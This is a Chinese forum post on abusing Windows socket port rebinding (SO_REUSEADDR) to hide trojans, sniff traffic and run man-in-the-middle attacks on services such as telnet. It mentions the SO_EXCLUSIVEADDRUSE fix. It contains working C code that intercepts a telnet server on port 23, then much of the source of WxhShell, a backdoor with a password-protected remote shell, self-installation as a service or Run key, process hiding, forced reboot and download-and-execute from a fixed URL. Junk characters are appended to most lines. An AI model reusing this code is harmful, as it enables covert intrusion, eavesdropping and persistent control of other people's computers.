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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -%Rw2@vU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZZw2m@T>  
~:L5Ar<  
  saddr.sin_family = AF_INET; ?W_8 X2(`  
R; w$_1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !1ZItJ74#  
^7uXpqQBr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Jk v!]C  
OMW]9E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 25f[s.pv8  
L@'2}7N1%  
  这意味着什么?意味着可以进行如下的攻击: MDQ:6Ri  
#zv&h`gY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;m7~!m)  
?0'e_s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *LMzq9n3o  
=0L%<@yA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `YUeVz>q?  
*8Su:=*b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &zd@cr1  
[p' A?-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lN&+<>a  
>z~_s6#CP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `ZZ3!$czR  
,SPgop'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NT2XG& $W>  
kh@O_Q`j  
  #include ,Ne9x\F  
  #include (t){o> l  
  #include # > I_  
  #include    :@@`N_2?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =jKu=!QPq  
  int main() 15VvZ![$V  
  { _u""v   
  WORD wVersionRequested; ,na}' A@a`  
  DWORD ret; yN)(MmX'1  
  WSADATA wsaData; 2}7_Y6RS*  
  BOOL val; _k : BY  
  SOCKADDR_IN saddr; '4 It>50b  
  SOCKADDR_IN scaddr; ePZ Ai"k  
  int err; 'gXD?ARW  
  SOCKET s; ]&;In,z  
  SOCKET sc; TQ:h[6v  
  int caddsize; M)ao}m>  
  HANDLE mt; KWeE!f 7G  
  DWORD tid;   e|W;(@$<  
  wVersionRequested = MAKEWORD( 2, 2 ); H0 Z o.Np  
  err = WSAStartup( wVersionRequested, &wsaData ); j D*<M/4  
  if ( err != 0 ) { /NjBC[P  
  printf("error!WSAStartup failed!\n"); C:t?HLY)fG  
  return -1; *|j4>W\J  
  } w#hg_RK(Jr  
  saddr.sin_family = AF_INET; *- ~GVe  
   +8W5amk.P|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R>Dr1fc}  
).`v&-cK4E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .%dGSDru  
  saddr.sin_port = htons(23);  Lagk   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;&gk)w6*  
  { 4%zy$,|e  
  printf("error!socket failed!\n"); BeLqk3'/  
  return -1; +)bn}L>R l  
  } 3.Yg3&"Z  
  val = TRUE; d2NFdBoI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .#Nf0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `mW~{)x  
  { @U3z@v]s(h  
  printf("error!setsockopt failed!\n"); 3=o4ncg(  
  return -1; E24SD'|)  
  } IA&V?{OE@I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q.<)0nk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /P-#y@I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9D &vxKE  
*5 9|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  r73W. &  
  { l*]hUPJ  
  ret=GetLastError(); _;0RW  
  printf("error!bind failed!\n"); gvc/Z <Y  
  return -1; +}1zw<  
  } mI{Fs|9h  
  listen(s,2); JWaWOk(t=?  
  while(1) l53Q"ajG  
  { Ywv\9KL  
  caddsize = sizeof(scaddr); $j(d`@.DN~  
  //接受连接请求 hr&&b3W3p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T)%6"rPL3!  
  if(sc!=INVALID_SOCKET) livKiX`  
  { v&(=^A\eN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >&:}L%  
  if(mt==NULL) TBrw ir  
  { D vvi)/<  
  printf("Thread Creat Failed!\n"); 4X*U~}  
  break; }apno|W&  
  } 8X.= 6M  
  } XN6$TNsD$  
  CloseHandle(mt); 1<Mb@t  
  } xo?'L&%  
  closesocket(s); V=5S=7 Z:  
  WSACleanup(); cr<j<#(Z}  
  return 0; Y3~z#<  
  }   uYWgNNxdmo  
  DWORD WINAPI ClientThread(LPVOID lpParam) }y+Qj6dP  
  { ZA. S X|m  
  SOCKET ss = (SOCKET)lpParam; j1qU 4#Y  
  SOCKET sc; &zB>  
  unsigned char buf[4096]; ja~Dp5  
  SOCKADDR_IN saddr; ! [1aP,  
  long num; U?Dr0wD;[  
  DWORD val; /O.Ql ,6[  
  DWORD ret; rQlQ^W$=?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [<{r~YFjWW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rm ;U' &{  
  saddr.sin_family = AF_INET; D!OY<?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0HU0p!yt&  
  saddr.sin_port = htons(23); Z3YKG{g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kaQNcMcq  
  { uF|_6~g  
  printf("error!socket failed!\n"); 2A@oa9  
  return -1; DBsoa0w  
  } ZO/Jf Jn~  
  val = 100; _ q1\8y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ipq0 1 +  
  { )`{m |\b  
  ret = GetLastError(); xM!9$v  
  return -1; $0K@= 7ms  
  } %XeN_ V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .)+c01  
  { {4A,&pR  
  ret = GetLastError(); 0SWqC@AR%  
  return -1; G/FDD{y  
  } uq-`1m }  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2Sa{=x N)  
  { s@iY'11  
  printf("error!socket connect failed!\n"); %Vltc4QU  
  closesocket(sc); eGg6wd  
  closesocket(ss); fNu/>pN  
  return -1; #9r}Kr=P  
  } 2)}*'_E9  
  while(1) zSD_t  
  { sRZ<c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F(."nUrf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _0gdt4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,g}$u'A+d  
  num = recv(ss,buf,4096,0); "= %"@"<)  
  if(num>0) =H23eOS_#  
  send(sc,buf,num,0); J ;z`bk^  
  else if(num==0) l3ogMRq@  
  break; Kw;gQk~R!  
  num = recv(sc,buf,4096,0); u6?9#L(  
  if(num>0) *S.FM.r  
  send(ss,buf,num,0); 8@LWg d  
  else if(num==0) x:~XZX\mwH  
  break; 6lg]5d2CD  
  } n{M Th_C4n  
  closesocket(ss); =^rp= Az  
  closesocket(sc); $V`1<>4  
  return 0 ; D8u`6/^  
  } T:'JA  
5yK#;!:h  
>KP,67  
========================================================== x=xo9wEg  
]i6* $qgma  
下边附上一个代码,,WXhSHELL \+sa[jK  
;A@DE@^5w  
========================================================== F.aG7  
N0^SWA|S  
#include "stdafx.h" bri8o"  
+aEm]=3  
#include <stdio.h> &}Wi@;G]2  
#include <string.h> 9M7P|Q  
#include <windows.h> #yR&|*@  
#include <winsock2.h> MG.c`t/w  
#include <winsvc.h> l#T %N@X  
#include <urlmon.h> CP; <B1  
WHv6E!^\_  
#pragma comment (lib, "Ws2_32.lib") @{fwM;me]P  
#pragma comment (lib, "urlmon.lib") #[x*0K-h  
0{ B<A^Bf  
#define MAX_USER   100 // 最大客户端连接数 j2IK\~W?-  
#define BUF_SOCK   200 // sock buffer BI-'&kPk  
#define KEY_BUFF   255 // 输入 buffer o[ks-C>jw  
#o} /'  
#define REBOOT     0   // 重启 WvJ:yUb2  
#define SHUTDOWN   1   // 关机 b:~#;$g  
.'H$|"( v  
#define DEF_PORT   5000 // 监听端口 :;hg :Q:  
[sk n9$  
#define REG_LEN     16   // 注册表键长度 ({C[RsY=6  
#define SVC_LEN     80   // NT服务名长度 :7.k E  
!lFNG:&`  
// 从dll定义API `i(b%$|^&Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @J 5TDq @  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B=n90XO |  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r^msJ|k8[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >0ZG&W9  
0U*f"5F  
// wxhshell配置信息 *tRsm"}  
struct WSCFG { Ag+B*   
  int ws_port;         // 监听端口 UcB&p t&  
  char ws_passstr[REG_LEN]; // 口令 "\}h  
  int ws_autoins;       // 安装标记, 1=yes 0=no `W+-0F@Y?@  
  char ws_regname[REG_LEN]; // 注册表键名 [QQM/?  
  char ws_svcname[REG_LEN]; // 服务名 `S-l.zSZ4B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hg0{x/Dgny  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x`C"Z7t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TW(X#T@Z6I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { ?jXPf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]R}(CaT1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yl@Nyu  
S _U |w9q  
}; BxV>s+o&]  
u ynudO  
// default Wxhshell configuration zY*~2|q,s  
struct WSCFG wscfg={DEF_PORT, eXnSH$uI  
    "xuhuanlingzhe", $,/E"G`  
    1, N3\RXXY  
    "Wxhshell", '-N 5F  
    "Wxhshell", H?Sv6W.~  
            "WxhShell Service", ^W@8KB  
    "Wrsky Windows CmdShell Service", ;P juO  
    "Please Input Your Password: ", -eh .Tk  
  1, WFk%nO/  
  "http://www.wrsky.com/wxhshell.exe", s1::\&`za  
  "Wxhshell.exe" b3[!1i  
    }; <Rn-B).3bs  
`w >D6K+  
// 消息定义模块 v,QvCozOz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l/nBin&YGv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {`M \}(E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tw zV-8\  
char *msg_ws_ext="\n\rExit."; RR+kjK?  
char *msg_ws_end="\n\rQuit."; P/WGB~NH  
char *msg_ws_boot="\n\rReboot..."; vuY X0&  
char *msg_ws_poff="\n\rShutdown..."; McS]aJfrk  
char *msg_ws_down="\n\rSave to "; ?<N} Xh  
I2RXw  
char *msg_ws_err="\n\rErr!"; l8+)Xk>   
char *msg_ws_ok="\n\rOK!";  *$DD+]2  
}s'=w]m  
char ExeFile[MAX_PATH]; jz=V*p}6  
int nUser = 0; y*sVimx  
HANDLE handles[MAX_USER]; pnp8`\cIH  
int OsIsNt; M"p%CbcI]  
Pke8RLg2A  
SERVICE_STATUS       serviceStatus; Y-1K'VhT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FMF  mn|  
V*2 * 5hx  
// 函数声明 {4/*2IRN9h  
int Install(void); /\mYXi \  
int Uninstall(void); >iK LC  
int DownloadFile(char *sURL, SOCKET wsh); E.Th}+  
int Boot(int flag); $vO<v<I'Gb  
void HideProc(void); #m<uG5l`  
int GetOsVer(void); [!3cWJCt  
int Wxhshell(SOCKET wsl); )jUPMIo  
void TalkWithClient(void *cs); [ypE[   
int CmdShell(SOCKET sock); &XI9%h9|  
int StartFromService(void); -^`s#0( y^  
int StartWxhshell(LPSTR lpCmdLine); _](y<O^9yO  
b5]<!~Fv:`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T;{}bc&I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C}3a  ^j  
l4taD!WD/  
// 数据结构和表定义 jP}Ry=V/  
SERVICE_TABLE_ENTRY DispatchTable[] = ^["D>@yIR  
{ s.;'-oA  
{wscfg.ws_svcname, NTServiceMain}, kxEq_FX  
{NULL, NULL} N>a~k}pPH  
}; ^q& Rl\  
7CF>cpw  
// 自我安装 "'Gq4<&y  
int Install(void) F,VWi$Po\N  
{ \/SOpC  
  char svExeFile[MAX_PATH]; SD%3B!cpX  
  HKEY key; Fz<1xyc(  
  strcpy(svExeFile,ExeFile); .9z}S=ZK  
1~E4]Ef:W  
// 如果是win9x系统,修改注册表设为自启动 ft@#[Bkx  
if(!OsIsNt) { Y?K?*`Pkc1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .+?]"1>]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ Dz*%  
  RegCloseKey(key); Ho(}_Q&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I H#CaD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .L1[Rv3  
  RegCloseKey(key); KI*b We  
  return 0; seAEv0YWz  
    } 3"my!}03  
  } NW;_4g4qE  
} >b0 Bvx-  
else { jjEu  
dG~U3\!  
// 如果是NT以上系统,安装为系统服务 _PC<Td>nm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $}S0LZ_H  
if (schSCManager!=0) Yg&/^  
{ q2`mu4B  
  SC_HANDLE schService = CreateService Ny`SE\B+/  
  ( 3@O/#CP+  
  schSCManager, Jc5Y Gj7  
  wscfg.ws_svcname, N|@ tP:j  
  wscfg.ws_svcdisp, @sZ' --Y  
  SERVICE_ALL_ACCESS, }LX!dDuwA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 99'c\[fd'  
  SERVICE_AUTO_START, [K4 k7$  
  SERVICE_ERROR_NORMAL, .) %, R  
  svExeFile, KdZ=g ZSH  
  NULL, G eB-4img  
  NULL, KX!/n`2u  
  NULL, +G!# /u1  
  NULL, !J{[XT  
  NULL vg X7B4  
  ); w&es N$2  
  if (schService!=0) k[<i+C";  
  { 6kR3[]:16v  
  CloseServiceHandle(schService); *Ev8f11i&  
  CloseServiceHandle(schSCManager); Unt]=S3u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pV:44  
  strcat(svExeFile,wscfg.ws_svcname); fh1-]$z`~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DW7Jk"\GH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); As^eL/m2L  
  RegCloseKey(key); #ifjQ7(:  
  return 0; <pG 4 g  
    } }9z$72;Qdq  
  } f` -vnh^+  
  CloseServiceHandle(schSCManager); e iH&<AH  
} ' < >Q20  
} I'n}6D.M  
U_Mag(^-  
return 1; -<T> paE9  
} XS&;8 PO  
c;yp}k]\  
// 自我卸载 u~'_Uqp  
int Uninstall(void) ?TW?2+  
{ {m,LpI0wG  
  HKEY key; ?wIEXKI  
QJx<1#  
if(!OsIsNt) { D6yE/QeK4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0R]'HA>  
  RegDeleteValue(key,wscfg.ws_regname); .]<iRf[\[  
  RegCloseKey(key); J=O_nup6C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nS.qK/.s  
  RegDeleteValue(key,wscfg.ws_regname); A~0yMww:$  
  RegCloseKey(key); |x _jpR  
  return 0; 81I9xqvSd~  
  } CA$|3m9)NM  
} G-vkkNj%e  
} {=3'H?$  
else { Ne1W!0YLK  
-B7X;{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sVnpO$  
if (schSCManager!=0) ,K&L/*  
{ =|^R<#%/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LiGECqWBa'  
  if (schService!=0) K\lu;   
  { +&M>J|  
  if(DeleteService(schService)!=0) { ,n>K$  
  CloseServiceHandle(schService); e>uq/|.!  
  CloseServiceHandle(schSCManager); Mt~2&$>  
  return 0; { "f} }}l  
  } Jep/%cT$w  
  CloseServiceHandle(schService); sbhUW>%.  
  } S[&yO-=p6  
  CloseServiceHandle(schSCManager); cj#.Oaeq*  
} a72L%oJ   
} !(j<Y0xo:  
%~lTQCPE  
return 1; 9wC='  
} TD!c+ ${w  
9m%+6#|  
// 从指定url下载文件 PnI_W84z  
int DownloadFile(char *sURL, SOCKET wsh) `@<)#9'A  
{ uxW<Eh4H*  
  HRESULT hr; 6D*x5L-1o  
char seps[]= "/"; 3X`N~_+  
char *token; +\cG{n*  
char *file; t6%zfm   
char myURL[MAX_PATH]; R:44Gv7  
char myFILE[MAX_PATH]; &?9~e>.OS  
BGO pUy  
strcpy(myURL,sURL); Gs*X> D  
  token=strtok(myURL,seps); Z/e[$xT <  
  while(token!=NULL) `TDS 4Y  
  { _G^4KwYp  
    file=token; O<?.iF%  
  token=strtok(NULL,seps); Z?."cuTt  
  } +OO my  
U)('}u=b  
GetCurrentDirectory(MAX_PATH,myFILE); vC^n_  
strcat(myFILE, "\\"); (~#-J7  
strcat(myFILE, file); _J_QB]t  
  send(wsh,myFILE,strlen(myFILE),0); L^ U.h  
send(wsh,"...",3,0); W)odaab7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u&o<>d;)  
  if(hr==S_OK) bI)%g  
return 0; lygv#s-T  
else q9$K.=_5  
return 1; (^)(#CxO  
};>~P%u32  
} <EuS6Pg  
8;(3fSNC  
// 系统电源模块 ]_! . xx>  
int Boot(int flag) hx}X=7w  
{ , #(k|Zztc  
  HANDLE hToken; Tnnj8I1v  
  TOKEN_PRIVILEGES tkp; {_jbFJ  
^^[A\'  
  if(OsIsNt) { l+^4y_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -9q3]nmT(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XK@Ct eP"  
    tkp.PrivilegeCount = 1; w.-J2%J   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fvV5G,lD3h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sN/8OLc  
if(flag==REBOOT) { CYhSCT!-?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6{[ uCxxl  
  return 0; ~HUO$*U4<  
} 6dqI{T-i?  
else { FMqes5\ 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K'U=);W  
  return 0; L\t?^u  
} AK$i0Rn;pm  
  } }Y3*X: i7  
  else { JuR x>F4  
if(flag==REBOOT) { `t]8 [P5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lr(My3vF8q  
  return 0; *V@t]d$=#  
} %$+bO/f  
else { O|&SL03Z8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aydf# [F  
  return 0; *#o2b-[V  
} ])Z p|?Y  
} W!b'nRkq  
|k/;1.b!9(  
return 1; -^$IjK-N  
} < _ <?p&  
\|R\pS}4  
// win9x进程隐藏模块 k6|/ik9C  
void HideProc(void) 7,R ~2ss5z  
{ na] 9-~4  
=O~Y6|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xcci)",!  
  if ( hKernel != NULL ) S 0mt8/ M  
  { f/^T:F6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,egbU (:l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~PedR=Y0n  
    FreeLibrary(hKernel); i$XT Qr0K=  
  } u 236a\:  
3^Z@fC  
return; R"O,2+@<.  
} '6f)^DYA'?  
Zy^ wS1io  
// 获取操作系统版本 m/aA q8  
int GetOsVer(void) )C0 y<:</  
{ M HKnHPv  
  OSVERSIONINFO winfo; f(*iagEy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <-=g)3_  
  GetVersionEx(&winfo); tjcG^m} _  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {[r}gS%  
  return 1; ZE6W"pbjU  
  else %ERR^  
  return 0; V6r*fEhrT_  
} _5v]69C#  
vH>s2\V"  
// 客户端句柄模块 YZ/2 :[b  
int Wxhshell(SOCKET wsl) 'F Cmbry  
{ l +# FoN  
  SOCKET wsh; E5t /-4  
  struct sockaddr_in client; 5DVSaI$ =  
  DWORD myID; zB#.EW  
2%~+c|TH.)  
  while(nUser<MAX_USER) sO8F0@%aH(  
{ -@mcu{&  
  int nSize=sizeof(client); jUrUM.CJ\N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \-{2E  
  if(wsh==INVALID_SOCKET) return 1; )W!\D/C+  
|:LklpdYe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r5PZ=+F  
if(handles[nUser]==0) 3F{R$M}  
  closesocket(wsh); [g$IN/o%  
else } v3w-  
  nUser++; lLNI5C  
  } +pbP;zu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F|?}r3{aJ  
(T =u_oe  
  return 0; zl)r3#6hW  
} *:Y9&s^6j  
sn yA  
// 关闭 socket 9Q&]5| x  
void CloseIt(SOCKET wsh) gmtS3,  
{ C@9K`N[*  
closesocket(wsh); |pR'#M4j4A  
nUser--; p}|<EL}Z9  
ExitThread(0); OZ2faf  
} z]1g;j  
*!`bC@E  
// 客户端请求句柄 K,Hxe;-  
void TalkWithClient(void *cs) a#+;BH 1  
{ YG6Y5j[-X~  
{5JYu  
  SOCKET wsh=(SOCKET)cs; Eg$Er*)h8  
  char pwd[SVC_LEN]; dX DuO  
  char cmd[KEY_BUFF]; :<xf'.  
char chr[1]; ]NY^0SqM  
int i,j; a0hgF_O1  
E4xybVo@  
  while (nUser < MAX_USER) { z=qxZuFkDs  
G+K`FUNA  
if(wscfg.ws_passstr) { FF#?x@N:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OQ4rJ#b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K9S(Xip  
  //ZeroMemory(pwd,KEY_BUFF); KqWO9d?w.  
      i=0; G:Nwi=vN  
  while(i<SVC_LEN) { 9oVprd >%@  
HUx -8<ws  
  // 设置超时 ;:P} s4p  
  fd_set FdRead; 6' 9zpe@`  
  struct timeval TimeOut; .wkW<F7  
  FD_ZERO(&FdRead); pwo @ S"  
  FD_SET(wsh,&FdRead); - 4B&{P  
  TimeOut.tv_sec=8; %wIb@km  
  TimeOut.tv_usec=0; 6#kK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D^A#C<Gs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X9#i!_*  
*%2,= p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?P Mi#H  
  pwd=chr[0]; 3q`Uq`t4mR  
  if(chr[0]==0xd || chr[0]==0xa) { ;et(Yi;9  
  pwd=0; |/!RN[<   
  break; q=+wQ[a<  
  } /(Ryh6M  
  i++; FyRr/0C>  
    } J%8hf%! ud  
'PdUSv|lH  
  // 如果是非法用户,关闭 socket .a}!!\@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^fvx2<  
} qino:_g  
NzbHg p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MDfC%2Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u{|^5%)  
QVWUm!  
while(1) { +aRHMH  
i/F ].Sag  
  ZeroMemory(cmd,KEY_BUFF); I =nvL  
QE`u~  
      // 自动支持客户端 telnet标准   3 /LW6W|  
  j=0; 6?= ^8  
  while(j<KEY_BUFF) { t flUy\H>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g715+5z[  
  cmd[j]=chr[0]; "mAMfV0  
  if(chr[0]==0xa || chr[0]==0xd) { VPOp#;"%  
  cmd[j]=0; VBe&of+  
  break; }1P v6L(o)  
  } jW]Fx:mQi  
  j++; P.O/ZW>g  
    } 0]l9x}  
7OLchf  
  // 下载文件 8V+  
  if(strstr(cmd,"http://")) { ':|?M B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #v:A-u  
  if(DownloadFile(cmd,wsh)) N~9zQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %QX"oRMn0  
  else ?^{Ey[)'(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | @p  
  } pe-%`1iC0>  
  else { XI;F=r}'  
RzqU`<//  
    switch(cmd[0]) { 6('xIE(R  
  l7uEUMV  
  // 帮助 ;`FR1KIg  
  case '?': { n$3w=9EX *  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8PvO_Gz5  
    break; u1/q8'RW  
  } 420cbD3a  
  // 安装 4j~WrdI*  
  case 'i': { A|BN >?.t  
    if(Install()) s7:w>,v/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]VK9d;0D  
    else xO;Qr.3PX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N#7_)S[@0l  
    break; PsI{y&.  
    } wbh^ZMQ  
  // 卸载 seNH/pRb  
  case 'r': { W29GM -,K  
    if(Uninstall()) @D@'S:3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2w /qH4  
    else c/`Rv{ *'o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mv1|oFVW  
    break; Cj# ?Z7}z  
    } (eO_]<wmky  
  // 显示 wxhshell 所在路径 /{nZ I_v#  
  case 'p': { eHH9#Vrhc$  
    char svExeFile[MAX_PATH]; 8YkCTJfBGu  
    strcpy(svExeFile,"\n\r"); vjYG>YhV  
      strcat(svExeFile,ExeFile); 8Tm/gzx  
        send(wsh,svExeFile,strlen(svExeFile),0); mcSZ1d~,(  
    break; gBE1a w;  
    } <& =3g/Y  
  // 重启 gYfOa`k  
  case 'b': { ^uIKwql  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 73(5.'F  
    if(Boot(REBOOT)) %)j^>W5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dhI+_z   
    else { H9rZWc"*  
    closesocket(wsh); u %&4[zb  
    ExitThread(0); ~,reS:9RZ  
    } {aWfD XB1  
    break; ~Ec@hz]js  
    } tq5o  
  // 关机 +yIO  
